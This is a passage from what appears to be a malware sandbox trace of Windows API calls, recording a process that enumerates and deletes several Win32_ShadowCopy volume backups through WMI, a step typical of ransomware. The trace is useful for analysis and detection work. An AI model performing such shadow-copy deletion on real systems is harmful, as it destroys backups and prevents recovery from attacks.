[0062.861] free (_Block=0x38c9f0) [0062.861] malloc (_Size=0x800) returned 0x38cb40 [0062.861] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0062.861] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0062.861] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{4F7A47EB-6D55-4A21-A8E3-D86C5E1F886F}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0062.861] malloc (_Size=0x68) returned 0x38d350 [0062.861] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{4F7A47EB-6D55-4A21-A8E3-D86C5E1F886F}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{4F7A47EB-6D55-4A21-A8E3-D86C5E1F886F}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0062.861] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0062.861] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0062.862] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0062.862] free (_Block=0x38d350) [0062.862] free (_Block=0x38cb40) [0062.862] LocalFree (hMem=0x42caf0) returned 0x0 [0062.862] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{4F7A47EB-6D55-4A21-A8E3-D86C5E1F886F}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0064.271] IUnknown:Release (This=0x2f3d80) returned 0x0 [0064.271] malloc (_Size=0x800) returned 0x38cb40 [0064.271] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0064.271] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0064.271] malloc (_Size=0x20) returned 0x38d350 [0064.271] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0064.271] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0064.271] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0064.273] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0064.273] free (_Block=0x38d350) [0064.273] free (_Block=0x38cb40) [0064.274] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0064.275] malloc (_Size=0x18) returned 0x38c9f0 [0064.275] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1AADC94C-D98B-4E59-91DD-8E2EFE01CFB1}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0064.275] free (_Block=0x38c9f0) [0064.275] malloc (_Size=0x800) returned 0x38cb40 [0064.275] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0064.275] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0064.275] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1AADC94C-D98B-4E59-91DD-8E2EFE01CFB1}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0064.275] malloc (_Size=0x68) returned 0x38d350 [0064.275] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1AADC94C-D98B-4E59-91DD-8E2EFE01CFB1}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1AADC94C-D98B-4E59-91DD-8E2EFE01CFB1}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0064.275] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0064.275] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0064.276] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0064.276] free (_Block=0x38d350) [0064.276] free (_Block=0x38cb40) [0064.276] LocalFree (hMem=0x42caf0) returned 0x0 [0064.276] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1AADC94C-D98B-4E59-91DD-8E2EFE01CFB1}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0066.627] IUnknown:Release (This=0x2f3d80) returned 0x0 [0066.627] malloc (_Size=0x800) returned 0x38cb40 [0066.627] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0066.627] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0066.627] malloc (_Size=0x20) returned 0x38d350 [0066.627] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0066.627] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0066.627] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0066.628] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0066.628] free (_Block=0x38d350) [0066.628] free (_Block=0x38cb40) [0066.628] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0066.629] malloc (_Size=0x18) returned 0x38c9f0 [0066.629] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1EE90775-4E53-4C29-811E-F4996057D94E}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0066.629] free (_Block=0x38c9f0) [0066.629] malloc (_Size=0x800) returned 0x38cb40 [0066.629] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0066.629] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0066.629] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1EE90775-4E53-4C29-811E-F4996057D94E}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0066.630] malloc (_Size=0x68) returned 0x38d350 [0066.630] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1EE90775-4E53-4C29-811E-F4996057D94E}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1EE90775-4E53-4C29-811E-F4996057D94E}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0066.630] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0066.630] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0066.631] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0066.631] free (_Block=0x38d350) [0066.631] free (_Block=0x38cb40) [0066.631] LocalFree (hMem=0x42caf0) returned 0x0 [0066.631] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1EE90775-4E53-4C29-811E-F4996057D94E}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0067.980] IUnknown:Release (This=0x2f3d80) returned 0x0 [0067.980] malloc (_Size=0x800) returned 0x38cb40 [0067.980] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0067.980] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0067.980] malloc (_Size=0x20) returned 0x38d350 [0067.980] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0067.980] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0067.980] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0067.981] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0067.981] free (_Block=0x38d350) [0067.981] free (_Block=0x38cb40) [0067.981] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0067.982] malloc (_Size=0x18) returned 0x38c9f0 [0067.982] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{DC780020-7243-4B55-80A9-4BA6EE67823B}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.982] free (_Block=0x38c9f0) [0067.982] malloc (_Size=0x800) returned 0x38cb40 [0067.982] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0067.982] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="쫰B") returned 0x67 [0067.982] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{DC780020-7243-4B55-80A9-4BA6EE67823B}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0067.982] malloc (_Size=0x68) returned 0x1dee90 [0067.982] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{DC780020-7243-4B55-80A9-4BA6EE67823B}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x1dee90, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{DC780020-7243-4B55-80A9-4BA6EE67823B}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0067.982] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0067.982] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0067.983] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0067.983] free (_Block=0x1dee90) [0067.983] free (_Block=0x38cb40) [0067.983] LocalFree (hMem=0x42caf0) returned 0x0 [0067.983] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{DC780020-7243-4B55-80A9-4BA6EE67823B}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0069.152] IUnknown:Release (This=0x2f3d80) returned 0x0 [0069.152] malloc (_Size=0x800) returned 0x38cb40 [0069.153] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0069.153] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0069.153] malloc (_Size=0x20) returned 0x38d350 [0069.153] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0069.153] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0069.153] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0069.154] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0069.154] free (_Block=0x38d350) [0069.154] free (_Block=0x38cb40) [0069.154] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0069.156] malloc (_Size=0x18) returned 0x38c9f0 [0069.156] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{3DBBFF70-A67F-4333-8498-31E7BC089E0F}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0069.156] free (_Block=0x38c9f0) [0069.156] malloc (_Size=0x800) returned 0x38cb40 [0069.156] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0069.156] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="챐B") returned 0x67 [0069.156] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{3DBBFF70-A67F-4333-8498-31E7BC089E0F}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0069.156] malloc (_Size=0x68) returned 0x38d350 [0069.156] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{3DBBFF70-A67F-4333-8498-31E7BC089E0F}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{3DBBFF70-A67F-4333-8498-31E7BC089E0F}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0069.156] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0069.156] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0069.157] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0069.157] free (_Block=0x38d350) [0069.157] free (_Block=0x38cb40) [0069.157] LocalFree (hMem=0x42cc50) returned 0x0 [0069.157] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{3DBBFF70-A67F-4333-8498-31E7BC089E0F}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0070.194] IUnknown:Release (This=0x2f3d80) returned 0x0 [0070.194] malloc (_Size=0x800) returned 0x38cb40 [0070.194] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0070.194] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0070.194] malloc (_Size=0x20) returned 0x38d350 [0070.194] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0070.194] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0070.194] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0070.195] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0070.195] free (_Block=0x38d350) [0070.195] free (_Block=0x38cb40) [0070.195] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0070.196] malloc (_Size=0x18) returned 0x38c9f0 [0070.196] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1924CB9A-2919-4442-A6C0-E60362A636CF}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0070.196] free (_Block=0x38c9f0) [0070.196] malloc (_Size=0x800) returned 0x38cb40 [0070.196] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0070.196] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="챐B") returned 0x67 [0070.196] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1924CB9A-2919-4442-A6C0-E60362A636CF}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0070.196] malloc (_Size=0x68) returned 0x38d350 [0070.196] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1924CB9A-2919-4442-A6C0-E60362A636CF}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1924CB9A-2919-4442-A6C0-E60362A636CF}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0070.196] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0070.197] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 103 [0070.197] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0070.197] free (_Block=0x38d350) [0070.197] free (_Block=0x38cb40) [0070.197] LocalFree (hMem=0x42cc50) returned 0x0 [0070.197] IWbemServices:DeleteInstance (in: This=0x2f3c18, strObjectPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{1924CB9A-2919-4442-A6C0-E60362A636CF}\"", lFlags=0, pCtx=0x0, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0072.228] IUnknown:Release (This=0x2f3d80) returned 0x0 [0072.228] malloc (_Size=0x800) returned 0x38f670 [0072.228] LoadStringW (in: hInstance=0x0, uID=0xb09e, lpBuffer=0x38f670, cchBufferMax=1024 | out: lpBuffer="Instance deletion successful.\r\n") returned 0x1f [0072.228] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0072.228] malloc (_Size=0x20) returned 0x38fe80 [0072.228] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Instance deletion successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x38fe80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Instance deletion successful.\r\n", lpUsedDefaultChar=0x0) returned 32 [0072.228] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xffa22ab0 [0072.228] fprintf (in: _File=0x7fefe122ab0, _Format="%s" | out: _File=0x7fefe122ab0) returned 31 [0072.229] fflush (in: _File=0x7fefe122ab0 | out: _File=0x7fefe122ab0) returned 0 [0072.229] free (_Block=0x38fe80) [0072.229] free (_Block=0x38f670) [0072.229] IEnumWbemClassObject:Next (in: This=0x2f3d18, lTimeout=-1, uCount=0x1, apObjects=0x1cf6f0, puReturned=0x1cf700 | out: apObjects=0x1cf6f0*=0x2f3d80, puReturned=0x1cf700*=0x1) returned 0x0 [0072.230] malloc (_Size=0x18) returned 0x38c9f0 [0072.230] IWbemClassObject:Get (in: This=0x2f3d80, wszName="__PATH", lFlags=0, pVal=0x1cf710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3d37d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1cf710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{5555A914-627B-4AF5-A342-EC1A6421363A}\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0072.230] free (_Block=0x38c9f0) [0072.230] malloc (_Size=0x800) returned 0x38cb40 [0072.230] LoadStringW (in: hInstance=0x0, uID=0xb09c, lpBuffer=0x38cb40, cchBufferMax=1024 | out: lpBuffer="Deleting instance %1\r\n") returned 0x16 [0072.231] FormatMessageW (in: dwFlags=0x2500, lpSource=0x38cb40, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x1cf638, nSize=0x0, Arguments=0x1cf648 | out: lpBuffer="챐B") returned 0x67 [0072.231] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{5555A914-627B-4AF5-A342-EC1A6421363A}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0072.231] malloc (_Size=0x68) returned 0x38d350 [0072.231] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{5555A914-627B-4AF5-A342-EC1A6421363A}\"\r\n", cchWideChar=-1, lpMultiByteStr=0x38d350, cbMultiByte=104, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Deleting instance \\\\XDUWTFONO\\ROOT\\CIMV2:Win32_ShadowCopy.ID=\"{5555A914-627B-4AF5-A342-EC1A6421363A}\"\r\n", lpUsedDefaultChar=0x0) returned 104 [0072.231] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 